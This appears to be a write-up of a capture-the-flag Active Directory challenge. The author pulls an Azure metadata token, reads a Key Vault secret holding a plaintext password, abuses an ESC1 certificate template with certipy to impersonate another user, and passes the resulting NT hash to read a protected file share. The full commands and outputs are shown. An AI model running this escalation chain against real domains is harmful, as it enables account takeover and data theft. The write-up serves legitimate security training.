Active Directory
Difficulty:
Shown in Report
Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. What's the name of the secret file in the inaccessible folder on the FileShare?
Objective Image
Back
Challenge

Hi there, could you do me a quick favor?
Can you go and check on Alabaster Snowball for me? He's at Rainraster Cliffs on Pixel Island. I heard some rumors he's been experimenting with ChatNPT again and I'm a little worried about what he's cooking up.
Thank you so much!
Please let me know what you find out.

Solution

After helping Alabaster Snowball Ribb Bonbowford says
Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

And he gives us another hint:
It looks like Alabaster's SSH account has a couple of tools installed which might prove useful.

We have already accessed the REST API in the challenge SSHenanigans. We also have SSH access as monitor@ssh-server-vm and as alabaster@ssh-server-vm. This is already a useful basis.
Firstly, we should find out what we have access to. AI will certainly help us here.
PROMPT: How can I enumerate all resources I have access to using Azure REST API?
ChatGPT: Enumerating all resources you have access to in Azure using the Azure REST API involves querying the Azure Resource Manager for a list of all resources. Here's a general approach to achieve this:

  1. Authentication: First, obtain an OAuth 2.0 access token from Azure AD for authentication. This requires registering your application in Azure AD, getting the client ID and secret, and then using these to request an access token.
  2. API Endpoint for Listing Resources: Once you have an access token, you can make a GET request to the Azure Resource Manager API endpoint that lists resources. The endpoint typically looks like this: GET https://management.azure.com/subscriptions/{subscriptionId}/resources?api-version=2021-04-01. Replace {subscriptionId} with your Azure subscription ID.
  3. API Version: Use the appropriate api-version query parameter. This example uses 2021-04-01, but you should check the Azure documentation for the most current version.
  4. Authorization Header: Include the access token in the Authorization header of your HTTP request. The header should be formatted as Authorization: Bearer {access_token}.
  5. Making the Request: Send a GET request to the above URL with the appropriate headers.

We use the bearer token from the previous challenge and send the request again in Postman:

GET https://management.azure.com/subscriptions/{{subscriptionId}}/resources?api-version=2021-04-01

{
    "value": [
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
            "name": "northpole-it-kv",
            "type": "Microsoft.KeyVault/vaults",
            "location": "eastus",
            "tags": {}
        },
        {
            "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
            "name": "northpole-ssh-certs-kv",
            "type": "Microsoft.KeyVault/vaults",
            "location": "eastus",
            "tags": {}
        }
    ]
}

We want to look into this vault without using the AI, we use the Microsoft documentation directly and send the following query:

GET https://management.azure.com/subscriptions/{{subscriptionId}}/resourceGroups/{{resourceGroupName}}/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2022-07-01

{
    "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
    "name": "northpole-it-kv",
    "type": "Microsoft.KeyVault/vaults",
    "location": "eastus",
    "tags": {},
    "systemData": {
        "createdBy": "thomas@sanshhc.onmicrosoft.com",
        "createdByType": "User",
        "createdAt": "2023-10-30T13:17:02.532Z",
        "lastModifiedBy": "thomas@sanshhc.onmicrosoft.com",
        "lastModifiedByType": "User",
        "lastModifiedAt": "2023-10-30T13:17:02.532Z"
    },
    "properties": {
        "sku": {
            "family": "A",
            "name": "Standard"
        },
        "tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
        "accessPolicies": [],
        "enabledForDeployment": false,
        "enabledForDiskEncryption": false,
        "enabledForTemplateDeployment": false,
        "enableSoftDelete": true,
        "softDeleteRetentionInDays": 90,
        "enableRbacAuthorization": true,
        "vaultUri": "https://northpole-it-kv.vault.azure.net/",
        "provisioningState": "Succeeded",
        "publicNetworkAccess": "Enabled"
    }
}

So how do we get the contents of this vault? The Microsoft documentation knows that too:

GET https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4

{
    "error": {
        "code": "Unauthorized",
        "message": "AKV10022: Invalid audience. Expected https://vault.azure.net, found: https://management.azure.com/."
    }
}

How daft. It seems we need another Bearer Token here. Okay, it's time for the AI again.
PROMPT: I got a bearer token with this command: curl 'http://169.254.169.254/metadatce=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s. How can I get a bearer token to list secrets in a vault in Azure using curl API?
ChatGPT: The command you mentioned seems to be using the Azure Instance Metadata Service (IMDS) to acquire an access token. This service is available on Azure virtual machines and allows VMs to get information about their environment and obtain tokens for accessing Azure services. To use this token to list secrets in an Azure Key Vault, you need to follow these steps:
Get Access Token Using IMDS:
You already have the command to get the token. It's important that the resource in the query string is set to the Azure Key Vault's scope, which is https://vault.azure.net.
Here's a corrected version of your command: curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H "Metadata: true" -s

We do this quickly in the console and send the query again with the new bearer token:

GET https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4

{
    "value": [
        {
            "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
            "attributes": {
                "enabled": true,
                "created": 1699564823,
                "updated": 1699564823,
                "recoveryLevel": "Recoverable+Purgeable",
                "recoverableDays": 90
            },
            "tags": {}
        }
    ],
    "nextLink": null
}

And immediately afterwards, after another look at the Microsoft documentation:

GET https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4

{
    "value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
    "id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
    "attributes": {
        "enabled": true,
        "created": 1699564823,
        "updated": 1699564823,
        "recoveryLevel": "Recoverable+Purgeable",
        "recoverableDays": 90
    },
    "tags": {}
}

Cool, we can certainly use this data!
First, let's see if we can get information on the share

2023_ActiveDirectory_1.jpg

Unfortunately, our user does not have the necessary rights. So let's first check which users actually exist in the domain. To do this, we use the tools available to alabaster.

alabaster@ssh-server-vm:~/impacket$ ./GetADUsers.py -all -dc-ip 10.0.0.53 'northpole.local/elfy:J4`ufC49/J4766'
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Querying 10.0.0.53 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
alabaster                                             2023-12-13 01:10:31.560964  2023-12-13 13:38:28.313036
Guest                                                 <never>              <never>
krbtgt                                                2023-12-13 01:17:09.824614  <never>
elfy                                                  2023-12-13 01:19:38.018905  2023-12-13 19:08:27.898243
wombleycube                                           2023-12-13 01:19:38.112684  2023-12-13 19:07:37.872400
alabaster@ssh-server-vm:~/impacket$

We already know that wombleycube should be our goal. The question is what options are available to us to elevate our permissions. If we look at the progress so far, AD CS Domain Escalation immediately comes to mind. And there is a great source for this: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.

Let's start by looking for vulnerable certificate template

alabaster@ssh-server-vm:~/impacket$ ./certipy find -u elfy@northpole.local -p 'J4`ufC49/J4766' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231213182858_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231213182858_Certipy.txt'
[*] Saved JSON output to '20231213182858_Certipy.json'
alabaster@ssh-server-vm:~/impacket$ 

The log file shows that we have a good chance.

    [!] Vulnerabilities
      ESC1                              : 'NORTHPOLE.LOCAL\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

Let's try variant 1 right away: Misconfigured Certificate Templates - ESC1. The website already provides a great explanation, so I don't want to copy it again here.
We already have all the required parameters.

alabaster@ssh-server-vm:~/impacket$ ./certipy req -u 'elfy@northpole.local' -p 'J4`ufC49/J4766' -ca 'northpole-npdc01-CA' -template 'NorthPoleUsers' -upn 'wombleycube@northpole.local' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 142
[*] Got certificate with UPN 'wombleycube@northpole.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
alabaster@ssh-server-vm:~/impacket$

So, now let's try to abuse this vulnerability to impersonate wombleycube

alabaster@ssh-server-vm:~/impacket$ ./certipy auth -pfx 'wombleycube.pfx' -username 'wombleycube' -domain 'northpole.local' -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: wombleycube@northpole.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for 'wombleycube@northpole.local': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
alabaster@ssh-server-vm:~/impacket$

A hash is of course sufficient for pass-the-hash, so we return to our first command and adapt it as follows:

alabaster@ssh-server-vm:~/impacket$ ./smbclient.py -dc-ip 10.0.0.53 -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23 'northpole.local/wombleycube@10.0.0.53'
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL
# use FileShare
# ls
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 .
drw-rw-rw-          0  Wed Dec 13 01:20:30 2023 ..
-rw-rw-rw-     701028  Wed Dec 13 01:20:33 2023 Cookies.pdf
-rw-rw-rw-    1521650  Wed Dec 13 01:20:33 2023 Cookies_Recipe.pdf
-rw-rw-rw-      54096  Wed Dec 13 01:20:33 2023 SignatureCookies.pdf
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 super_secret_research
-rw-rw-rw-        165  Wed Dec 13 01:20:33 2023 todo.txt
# cd super_secret_research
# ls
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 .
drw-rw-rw-          0  Wed Dec 13 01:20:33 2023 ..
-rw-rw-rw-        231  Wed Dec 13 01:20:33 2023 InstructionsForEnteringSatelliteGroundStation.txt
# cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.


#

Ribb Bonbowford tells us
Wow, nice work. I'm impressed!
This is all starting to feel like more than just a coincidence though. Everything Alabaster's been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.
Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It's just a machine. But I wonder who could have built it and who is controlling it?
On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.
Well, I guess it's probably somewhere on Space Island, but I've not been there yet.
I'm not a big fan of jungles, you see. I have this tendency to get lost in them.
Anyway, if you feel like investigating, that'd be where I'd go look.
Good luck and I'd try and steer clear of ChatNPT if I were you.